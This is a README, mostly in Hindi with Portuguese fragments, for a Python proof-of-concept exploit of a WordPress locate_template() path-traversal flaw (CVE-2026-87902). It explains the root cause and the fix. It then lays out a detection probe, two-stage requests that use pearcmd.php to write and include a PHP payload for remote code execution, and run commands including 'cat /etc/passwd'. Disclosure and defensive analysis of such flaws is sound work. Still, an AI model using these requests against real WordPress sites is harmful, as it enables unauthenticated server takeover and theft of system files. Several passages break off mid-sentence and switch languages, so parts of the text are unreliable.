
Python PoC जो CVE-2026-87902 का उपयोग करता है, जो WordPress locate_template() में एक unauthenticated path traversal है जिससे LFI और PEAR-आधारित RCE होता है, साथ में safe detection mode भी है।
Exploit फ़ाइल: exploit_locate_template_rce.py —
Python 3.6+ (केवल stdlib)।
एक ही कमांड में पाइपलाइन: सुरक्षित डिटेक्शन (LFI डिफ़रेंशियल, बिना लेखन) →,
यदि vulnerable हो, तो RCE pearcmd.php gadget के माध्यम से आपकी चुनी हुई कमांड
चलाते हुए (--command/-c)। लेखन-चरण से पहले रोकने के लिए --validate-only का उपयोग करें।
यह WordPress के उन वर्शनों पर CVE-2026-87902 का परीक्षण करता है जिनमें
commit 5fde0bb7 का fix नहीं है — "Themes: Restrict
path traversal in locate_template()" (WordPress 7.1.2, backports 4.7.37 तक)।
| CVE | CVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High) |
| Advisory | GHSA-7hp8-65ch-5whp |
| प्रभावित | WordPress 4.7.0 – 7.1.1 (सभी branches) |
| Fix | 7.1.2, 7.0.6, 6.9.9 … 4.7.37 |
| Fix commit | 5fde0bb7b9775523959094bf280cc54bfa78af51 (changeset 63792 का merge) |
| फ़ाइलें | wp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed()) |
| ऑथेंटिकेशन | कोई नहीं — कोई उपयोगकर्ता, cookie, nonce या plugin नहीं |
| श्रेय | खोज और disclosure: Robert Ressl |
⚠️ केवल अधिकृत परीक्षण के लिए। उन वातावरणों में उपयोग करें जिन्हें आप नियंत्रित करते हैं (नीचे दिया गया lab isolated है) या मालिक की स्पष्ट अनुमति के साथ।
बिना fix वाले वर्शनों में, get_page_template() → locate_template() →
template-loader की श्रृंखला कभी यह सुनिश्चित नहीं करती कि चुना गया template theme के भीतर ही रहे।
Pre-fix (wp-includes/template.php):
// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
$located = $wp_stylesheet_path . '/' . $template_name;
break;
}
Post-fix (commit 5fde0bb7):
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) { // realpath + confinamento
$located = $candidate; // dentro de tema/parent/theme-compat
break;
}
pagename और page_id सार्वजनिक query vars हैं — जो अनाम POST के body में स्वीकार किए जाते हैं।
POST मेथड redirect_canonical() (canonical.php) को जल्दी return करा देता है — यह केवल
GET/HEAD पर कार्य करता है, इसलिए कुछ भी redirect नहीं होता।templates%252f%252e%252e%252f...) और sanitize से बच निकलता है:
WP_Query::get_posts() (l.2191) pagename को
sanitize_title_for_query( wp_basename( ... ) ) से फिर से लिखता है — wp_basename() %2F पर नहीं टूटता
(formatting.php l.5768) और sanitize %XX octets को सुरक्षित रखता है (l.2395)।page_id (l.2252) WHERE को overwrite करता है ("$where =", न कि ".=") — वास्तविक पेज
लोड होता है, 404 नहीं, और दुर्भावनापूर्ण pagename query object में बना रहता है।get_page_template() देर से urldecode() करता है और page-<traversal>.php बनाता है
बिना validate_file() के।locate_template() केवल file_exists() कॉल करता है → include theme से बाहर निकल जाता है।| # | पूर्वापेक्षा | कारण |
|---|---|---|
| 1 | प्रकाशित पेज, अनाम रूप से सुलभ, page_id से चयननीय और बिना custom template | अनुरोध को एक Page पर resolve होना चाहिए; custom template hierarchy में पहले आ जाता |
| 2 | सक्रिय theme (child या parent) में top-level डायरेक्टरी जो page- से शुरू हो (जैसे page-templates/) | WP निश्चित prefix page- जोड़ता है; इसी से traversal प्रवेश करता है। इसका होना और traversable होना पर्याप्त है (खाली भी हो सकती है)। Twenty Twelve/Fourteen, Neve, Hestia, Sydney में मौजूद |
| 3 | मौजूद और पठनीय स्थानीय .php लक्ष्य | Loader .php जोड़ता है और is_file()/is_readable() जाँचता है |
| 4 | (केवल RCE के लिए) पठनीय pearcmd.php + register_argc_argv=On + लिखने योग्य डायरेक्टरी (जैसे /tmp) | PEAR→RCE मार्ग: config-create सर्वर पर PHP payload लिखता है |
प्रकाशित पेज के विरुद्ध तीन अनाम POST — डिस्क पर कोई लेखन नहीं:
| अनुरोध | pagename | अपेक्षित प्रतिक्रिया (vulnerable) |
|---|---|---|
| A — baseline | — | 200, सामान्य body (~23 KB) |
| B — नियंत्रण | traversal → अनुपस्थित फ़ाइल | 200, सामान्य body (fallback page.php) |
| C — probe | traversal → wp-content/index.php ("Silence is golden") | 200 खाली body के साथ |
हस्ताक्षर: C खाली + A/B सामान्य ⇒ include theme से बाहर निकला ⇒ VULNERABLE।
डिटेक्शन स्वतः स्कैन करता है: उम्मीदवार theme डायरेक्टरियाँ
(page-templates, page-template) × गहराई 1–12।
परिणाम (theme-dir + depth) RCE चरण को feed करता है।
--validate-only के साथ स्क्रिप्ट यहीं रुक जाती है (vulnerable होने पर exit 0)।
pearcmd.php के माध्यम से RCE (लेखन)Estágio 1 POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
→ traversal /usr/local/lib/php/pearcmd.php को include करता है
→ argv कच्ची query string से आता है (register_argc_argv=On)
→ config-create payload को /tmp/wp-pear-rce.php में लिखता है (12 serialized प्रतियाँ)
Estágio 2 POST / body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
→ वही traversal उत्पन्न फ़ाइल को include करता है → system(<--command>) www-data के रूप में चलता है
फ़ॉर्मेट विवरण (सभी प्रतिबंध स्क्रिप्ट द्वारा संभाले जाते हैं):
page_id + pagename होते हैं; query string में
केवल PEAR का argv होता है (?+config-create+<root>+<out>)।wp_magic_quotes() (load.php l.1290)
add_magic_quotes($_SERVER) लागू करता है और pearcmd argv को $_SERVER['argv'] से पढ़ता है — कोई भी
quote \' बन जाता और उत्पन्न फ़ाइल को तोड़ देता। हर PHP string chr() concatenation बन जाती है:
'/tmp' → chr(47).chr(116).chr(109).chr(112)।http.client): query string के कच्चे बाइट्स +, <, >
ही argv हैं — रास्ते में कुछ भी re-write/re-encode नहीं हो सकता।config-create को absolute root path चाहिए — payload को ही root के रूप में inject किया जाता है
(/<php>), जिसके आगे ___WP_RCE_OK___ मार्कर लगा होता है जो आउटपुट को सीमांकित करता है।pearcmd.php के कई पथ (आधिकारिक Docker, Debian/Ubuntu, XAMPP) — आवश्यकता हो तो
--pear-path/--output से समायोजित करें।कोई "upload" नहीं है: डिटेक्शन का लक्ष्य वह फ़ाइल है जो हर WordPress फ़ैक्ट्री से लाता है
(wp-content/index.php); RCE का payload सर्वर स्वयं लिखता है PEAR gadget के माध्यम से,
www-data के रूप में चलते हुए।
# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only
# 2) Detecção + RCE executando um comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"